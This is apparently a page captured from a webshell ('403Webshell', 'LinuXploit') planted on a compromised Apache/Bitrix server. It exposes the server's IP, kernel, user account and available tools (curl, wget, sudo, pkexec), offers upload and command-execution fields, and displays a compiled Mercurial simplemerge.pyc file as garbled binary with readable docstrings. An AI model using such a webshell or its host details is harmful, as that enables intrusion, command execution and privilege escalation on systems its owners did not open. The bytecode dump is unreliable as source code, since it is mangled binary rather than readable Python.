403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/lib64/python3.9/site-packages/mercurial/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/lib64/python3.9/site-packages/mercurial/__pycache__/simplemerge.cpython-39.opt-1.pyc
a

�+�bpC�@s�ddlmZddlmZddlmZmZmZddlm	Z	dd�Z
dd	�ZGd
d�de�Z
dd
�Zdd�Zdd�Zdd�Zd&dd�Zdd�Zdd�Zdd�ZGd d!�d!e�Zd'd$d%�ZdS)(�)�absolute_import�)�_)�error�mdiff�pycompat)�
stringutilcCs<t|d|d�}t|d|d�}||kr4||fSdSdS)aGiven two ranges return the range where they intersect or None.

    >>> intersect((0, 10), (0, 6))
    (0, 6)
    >>> intersect((0, 10), (5, 15))
    (5, 10)
    >>> intersect((0, 10), (10, 15))
    >>> intersect((0, 9), (10, 15))
    >>> intersect((0, 9), (7, 15))
    (7, 9)
    rrN)�max�min)Zra�rbZsaZsb�r�;/usr/lib64/python3.9/site-packages/mercurial/simplemerge.py�	intersects
rcCsR||||krdStt�||�t�||��D]\}}||||kr.dSq.dS)z:Compare a[astart:aend] == b[bstart:bend], without slicing.FTN)�ziprZxrange)�aZastart�aend�bZbstart�bend�ia�ibrrr
�
compare_range5s�rc@s2eZdZdZddd�Zdd�Zdd�Zd	d
�ZdS)�
Merge3Textz�3-way merge of texts.

    Given strings BASE, OTHER, THIS, tries to produce a combined text
    incorporating the changes from both BASE->OTHER and BASE->THIS.NcCs^||_||_||_|dur$t�|�}|dur6t�|�}|durHt�|�}||_||_||_dS�N)�basetext�atext�btextrZ
splitnewlines�baserr)�selfrrrrrrrrr
�__init__Hs


zMerge3Text.__init__ccs�|��D]�}|d}|dkr:||j|d|d�fVq|dksJ|dkrh||j|d|d�fVq|dkr�||j|d|d�fVq|dkr�||j|d|d�|j|d	|d
�|j|d|d�ffVqt|��qd
S)a�Yield sequence of line groups.  Each one is a tuple:

        'unchanged', lines
             Lines unchanged from base

        'a', lines
             Lines taken from a

        'same', lines
             Lines taken from a (and equal to b)

        'b', lines
             Lines taken from b

        'conflict', (base_lines, a_lines, b_lines)
             Lines from base were changed to either a or b and conflict.
        r�	unchangedr��a�same�b�conflict����N)�
merge_regionsrrr�
ValueError)r�t�whatrrr
�merge_groupsVs ��	zMerge3Text.merge_groupsccs,d}}}|��D�]}|\}}}}}	}
||}||}|	|}
||}|sT|
�rt|j|||j||�}t|j||	|j||�}t|j|||j||	�}|r�d||fVnR|r�|s�d||	fVn<|r�|s�d||fVn&|s�|s�d||||||	fVntd��|}|	}|}|dkrd||fV|}|}|
}qdS)	a�Return sequences of matching and conflicting regions.

        This returns tuples, where the first value says what kind we
        have:

        'unchanged', start, end
             Take a region of base[start:end]

        'same', astart, aend
             b and a are different from base but give the same result

        'a', start, end
             Non-clashing insertion from a[start:end]

        'conflict', zstart, zend, astart, aend, bstart, bend
            Conflict between a and b, with z as common ancestor

        Method is as follows:

        The two sequences align only on regions which match the base
        and both descendants.  These are found by doing a two-way diff
        of each one against the base, and then finding the
        intersections between those regions.  These "sync regions"
        are by definition unchanged in both and easily dealt with.

        The regions in between can be in any of three cases:
        conflicted, or changed on only one side.
        rr"r#r!r$s#can't handle a=b=base but unmatchedrN)�find_sync_regionsrrrr�AssertionError)rZizrrZregionZzmatchZzend�amatchr�bmatchrZmatchlen�len_a�len_bZlen_baseZequal_aZequal_bZsamerrr
r)|s@
��zMerge3Text.merge_regionscCs<d}}t�|j|j�}t�|j|j�}t|�}t|�}g}||k�r||k�r||\}}	}
||\}}}
t|||
f|||
f�}|r�|d}|d}||}|	||}|||}||}||}|�||||||f�||
||
kr�|d7}q<|d7}q<t|j�}t|j	�}t|j
�}|�||||||f�|S)z�Return a list of sync regions, where both descendants match the base.

        Generates a list of (base1, base2, a1, a2, b1, b2).  There is
        always a zero-length sync region at the end of all the files.
        rr)rZget_matching_blocksrrr�lenr�appendrrr)rrrZamatchesZbmatchesr2r3�slZabaser0�alenZbbaser1�blen�iZintbaseZintendZintlenZasubZbsubrrrrr
r.�s6		




zMerge3Text.find_sync_regions)NNN)�__name__�
__module__�__qualname__�__doc__rr-r)r.rrrr
rBs

&YrcCs.t�|���r*td�|j��}t�|��dS)zUverifies that text is non-binary (unless opts[text] is passed,
    then we just warn)s%s looks like a binary file.N)rZbinary�textr�fctx�pathrZAbort)�input�msgrrr
�_verifytextsrCcGsttdd�|D��}g}|D]T}|jrd|jrJ|jd�|d�d|j}n|j}|�t�|d��q|�d�q|S)Ncss"|]}|jrt|j�ndVqdS)rN)�labelr4)�.0rArrr
�	<genexpr>�z!_format_labels.<locals>.<genexpr>�:r� �H)r	rD�label_detail�ljustr5rZellipsis)ZinputsZpad�labelsrArDrrr
�_format_labelss���rNcCs:t|j�dkr6|jd�d�r"dS|jd�d�r6dSdS)Nrs
�
�
)r4r�endswith)�m3rrr
�_detect_newline/srScCs�t|�}t|�}d}||kr>||kr>||||kr>|d7}q|}d}||kr|||kr|||d||dkr||d7}qF|}|d|�}||||�}||||�}	|||d�}
|||	|
fS)z�Trim conflict regions of lines where A and B sides match.

    Lines where both A and B have made the same changes at the beginning
    or the end of each merge region are eliminated from the conflict
    region and are instead considered the same.
    rrN)r4)�a_lines�b_linesr7r8�iiZstartmatchesZ
endmatches�lines_beforeZnew_a_linesZnew_b_lines�lines_afterrrr
�	_minimize8s 
,
rYN�<<<<<<<�=======�>>>>>>>cCs�t|�}d}|r|d|}|r,|d|}|��}g}	|D]�\}
}|
dkr�d}|\}}
}t|
|�}|\}}
}}|	�|�|	�||�|	�|
�|	�||�|	�|�|	�||�|	�|�q<|	�|�q<|	|fS)zReturn merge in cvs-like form.FrIr$T)rSr-rY�extendr5)rR�name_a�name_bZstart_markerZ
mid_markerZ
end_marker�newline�	conflictsr-�linesr,�group_lines�
base_linesrTrUZ	minimizedrWrXrrr
�render_minimizedUs.	




recCs�t|�}d}g}|��D]�\}}|dkr�|\}	}
}d}|�d||�|�|
�|�d||�|�|	�|�d|�|�|�|�d||�q|�|�q||fS)z+Render conflicts as 3-way conflict markers.Fr$Ts<<<<<<< s||||||| r[s>>>>>>> )rSr-r5r])rRr^r_�	name_baser`rarbr,rcrdrTrUrrr
�
render_merge3xs 



rgcCstt|�}g}d}|��D�]P\}}|dk�r`|\}	}
}d�|	�}ttj|d�|�|	|d��}
ttj|d�|
�|	|d��}dd�}dd�}|�d	|�||�||
�kr�|�d
||�|�|
�|�d||�|�d||�|�||
|	|��nR|�d||�|�d||�|�|||	|
��|�d
||�|�|�|�d
|�d}q|�|�q||fS)zDRender conflicts as conflict markers with one snapshot and one diff.Fr$rG)�lines1�lines2cSstdd�|D��S)Ncss*|]"\}}|dkr|d|dVqdS)�=rrNr)rE�block�kindrrr
rF�s�z;render_mergediff.<locals>.matching_lines.<locals>.<genexpr>)�sum)�blocksrrr
�matching_lines�s�z(render_mergediff.<locals>.matching_linescss�|D]~\}}|dkr:||d|d�D]}d|Vq(q||d|d�D]}d|VqN||d|d�D]}d|VqrqdS)	NrjrrrI�-r r%�+r)rnrhrirkrl�linerrr
�
diff_lines�sz$render_mergediff.<locals>.diff_linesrZs======= s------- s+++++++ r\T)rSr-�join�listrZ	allblocksr5r])rRr^r_rfr`rbrar,rcrdrTrUZ	base_textZb_blocksZa_blocksrorsrrr
�render_mergediff�sR


����	

rvcCsFg}|��D]4\}}|dkr6|D]}|�||�q q|�|�q|S)Nr$)r-r])rRZsidesrbr,rcZsiderrr
�_resolve�srwc@seZdZddd�Zdd�ZdS)�
MergeInputNcCs||_||_||_d|_dSr)r?rDrK�_text)rr?rDrKrrr
r�szMergeInput.__init__cCs|jdur|j��|_|jSr)ryr?Zdecodeddata)rrrr
r>�s
zMergeInput.text)NN)r:r;r<rr>rrrr
rx�s
	rx�mergeFc
Cs�|st|�t|�t|�t|��|��|���}d}|dkrLt|d�}n�|dkr`t|d�}n�|dkrtt|d�}nr|dkr�t|||�}t|g|�R�\}}nH|d	kr�t|||�}t|g|�R�\}}nt||�}t|g|�R�\}}d
�|�}	|	|fS)z[Performs the simplemerge algorithm.

    The merged result is written into `localctx`.
    Fsunion)rr slocal)rsother)r s	mergediffsmerge3rG)	rCrr>rwrNrvrgrert)
�localr�other�modeZallow_binaryrRrarbrMZ
mergedtextrrr
�simplemerge�s,

r~)NNrZr[r\)rzF)Z
__future__rZi18nr�rrrZutilsrrr�objectrrCrNrSrYrergrvrwrxr~rrrr
�<module>s0
R	�
#@�

Youez - 2016 - github.com/yon3zu
LinuXploit